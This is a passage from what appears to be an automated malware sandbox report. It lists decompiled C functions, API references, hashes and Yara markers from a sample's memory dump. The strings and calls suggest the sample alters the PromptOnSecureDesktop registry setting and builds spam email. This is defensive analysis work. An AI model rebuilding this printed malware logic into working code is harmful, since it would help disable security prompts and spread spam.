				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041CEFB, Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

__wcstombs_l.LIBCMTD ref: 0041CF19

Part of subcall function 0041FE20: new.LIBCPMTD ref: 0041FE35

std::exception::exception.LIBCMTD ref: 0041CF3D
__CxxThrowException@8.LIBCMTD ref: 0041CF52
std::ios_base::_Ios_base_dtor.LIBCPMTD ref: 0041CF5F

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Exception@8Ios_base_dtorThrow__wcstombs_lstd::exception::exceptionstd::ios_base::_
String ID:
API String ID: 216078729-0
Opcode ID: 123c85986a47a7dbff728e35f6abdf7dc3bf94ae77cf45aaac3c8198cea12985
Instruction ID: 2190440a5845240543b6d589253e713f17e7748effb8780c247e3b6aff7b3978
Opcode Fuzzy Hash: 123c85986a47a7dbff728e35f6abdf7dc3bf94ae77cf45aaac3c8198cea12985
Instruction Fuzzy Hash: 18F02BB190012836CB00BB959C42BDF3B5E9B10754F10826BF918B60D2D7B8969AC6ED

Uniqueness

Uniqueness Score: -1.00%

Function 0054E01F, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 0054E04F

Strings

A, xrefs: 0054E020, 0054E025
A, xrefs: 0054E068
A, xrefs: 0054E01F

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: c1049ca5ebf3f3e2f88447a4d197cf3c1c5287916d1fc8e72bbdcbe4d6169af9
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: 49F062716007029BCB30CF25D888AD2BBE9FB05325B44866AE178C3060D3B4AD95CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0041D47A, Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041D47F
std::_Mutex::_Mutex.LIBCPMTD ref: 0041D494

Part of subcall function 004206C0: new.LIBCPMTD ref: 004206DA

new.LIBCPMTD ref: 0041D4AC

Part of subcall function 0041FD70: __malloc_dbg.LIBCMTD ref: 0041FD8A
Part of subcall function 0041FD70: std::bad_alloc::bad_alloc.LIBCMTD ref: 0041FDB8
Part of subcall function 0041FD70: _atexit.LIBCMTD ref: 0041FDC2
Part of subcall function 0041FD70: __CxxThrowException@8.LIBCMTD ref: 0041FDE0

std::locale::locale.LIBCPMT ref: 0041D4BA

Part of subcall function 0041CE5E: std::locale::_Init.LIBCPMTD ref: 0041CE61
Part of subcall function 0041CE5E: std::locale::facet::_Incref.LIBCPMT ref: 0041CE6F

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Exception@8H_prologIncrefInitMutexMutex::_Throw__malloc_dbg_atexitstd::_std::bad_alloc::bad_allocstd::locale::_std::locale::facet::_std::locale::locale
String ID:
API String ID: 96588900-0
Opcode ID: d7791753721a1bcc32f774a73b40aa5d7276a8054d48353021e979c9d31b4fe1
Instruction ID: 042457d2d57828797ab7030ad4ea3069ef6ed4676e2a51bc79bd3939c3ac86f2
Opcode Fuzzy Hash: d7791753721a1bcc32f774a73b40aa5d7276a8054d48353021e979c9d31b4fe1
Instruction Fuzzy Hash: 44F0E9B0F402105BDB14ABA589067AAB6E4AB04708F00492FB506E36C2EBBCA8448298

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0054E3C7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,005444CB,00000000,00000000,00000000), ref: 0054E459
CloseHandle.KERNEL32(00000001,00000003), ref: 0054E46D

Part of subcall function 0054E2E5: RegCreateKeyExA.ADVAPI32(80000001,0054E4F3,00000000,00000000,00000000,00020106,00000000,0054E4F3,00000000,000000E4), ref: 0054E302
Part of subcall function 0054E2E5: RegSetValueExA.ADVAPI32(0054E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0054E377
Part of subcall function 0054E2E5: RegDeleteValueA.ADVAPI32(0054E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0054E3A8
Part of subcall function 0054E2E5: RegCloseKey.ADVAPI32(0054E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0054E4F3), ref: 0054E3B1

Strings

PromptOnSecureDesktop, xrefs: 0054E4DA, 0054E4DF, 0054E520, 0054E54A

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: 0f127c14104b47da028df03a6eb89ae3ed93b6f3ed0c22a93744269b91aba4be
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: 2241FB76940214BAEF20AE618C0BFEF3F6CFF4175CF008065FA0995092E6B58A50D6B5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 00548319, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 005483AF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 00548460

Part of subcall function 005469AC: SetFileAttributesA.KERNEL32(?,00000080), ref: 005469CE
Part of subcall function 005469AC: SetFileAttributesA.KERNEL32(?,00000002), ref: 00546A0F
Part of subcall function 005469AC: GetFileSize.KERNEL32(000000FF,00000000), ref: 00546A23

Part of subcall function 0054EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00541DB8,?), ref: 0054EE91
Part of subcall function 0054EE7E: HeapFree.KERNEL32(00000000), ref: 0054EE98

Strings

PromptOnSecureDesktop, xrefs: 0054839B, 005483A0, 0054846C

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: a63a53cca84da8027af3a97956a542c4a59fd9afb69f4036aa1bc738346f04cc
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: 7A417FB290010ABEEF20EBA49D85DFF7F6CFB4430CF14447AF605E6111EAB45A948B55

Uniqueness

Uniqueness Score: -1.00%

Function 0054E61A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0054E842,00000000,00020119,0054E842,PromptOnSecureDesktop), ref: 0054E636
RegCloseKey.ADVAPI32(0054E842,?,?,?,?,000000C8,000000E4), ref: 0054E770

Strings

PromptOnSecureDesktop, xrefs: 0054E620

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: cc3da81c63d40ccbf05782e6d4d93d4f6abe4d45023b19e1556e359c91e61163
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: 08410AB2D0021DBFEF119F98DC86DEEBBBDFB54308F104465E910B2150E7319A558B60

Uniqueness

Uniqueness Score: -1.00%

Function 0054AFD9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0054AFE8
SystemTimeToFileTime.KERNEL32(?,?), ref: 0054AFF6

Part of subcall function 0054AF58: gethostname.WS2_32(?,00000080), ref: 0054AF6C
Part of subcall function 0054AF58: lstrcpy.KERNEL32(?,00410B90), ref: 0054AFCF

Part of subcall function 00543305: gethostname.WS2_32(?,00000080), ref: 00543328
Part of subcall function 00543305: gethostbyname.WS2_32(?), ref: 00543332

Part of subcall function 0054A9F3: inet_ntoa.WS2_32(00000000), ref: 0054A9F9

Strings

%OUTLOOK_BND_, xrefs: 0054B05F, 0054B064, 0054B0A7, 0054B0C6

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: 69d4061522ebe508660981b1c9e27f6fd557c1c13c27627f445ffee1f8456ae9
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: 654161B290024DBBDF25EFA0CC4AEEF3BACFB44308F144426B92992152EB75D954CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0054943B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 0054951F
Sleep.KERNEL32(000001F4), ref: 00549546

Strings

, xrefs: 005494C2

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction ID: c7ecdfd55ecc20604827baab61fa1fbf8daa66ac3aac8e05b264791db3678381
Opcode Fuzzy Hash: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction Fuzzy Hash: 524146718083846EEF368764D88FBF73FE4BF42318F2801E5D09687096D6B44D828761

Uniqueness

Uniqueness Score: -1.00%

Function 0054BC63, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0054B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0054BA23
InterlockedIncrement.KERNEL32(?), ref: 0054BA7D
GetTickCount.KERNEL32 ref: 0054BB62
GetTickCount.KERNEL32 ref: 0054BB82
InterlockedIncrement.KERNEL32(?), ref: 0054BDFE
closesocket.WS2_32(00000000), ref: 0054BE9D

Strings

%FROM_EMAIL, xrefs: 0054BC66

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL
API String ID: 1869671989-2903620461
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: 128cd7de48aae1198be1161e2d3c2bdf6fa8328211eec3f83ebec61d96fafe89
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: BA318071900248EFEF25DFA4DC88AED7BB8FB84704F20445AFA2492151EB35DA94CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

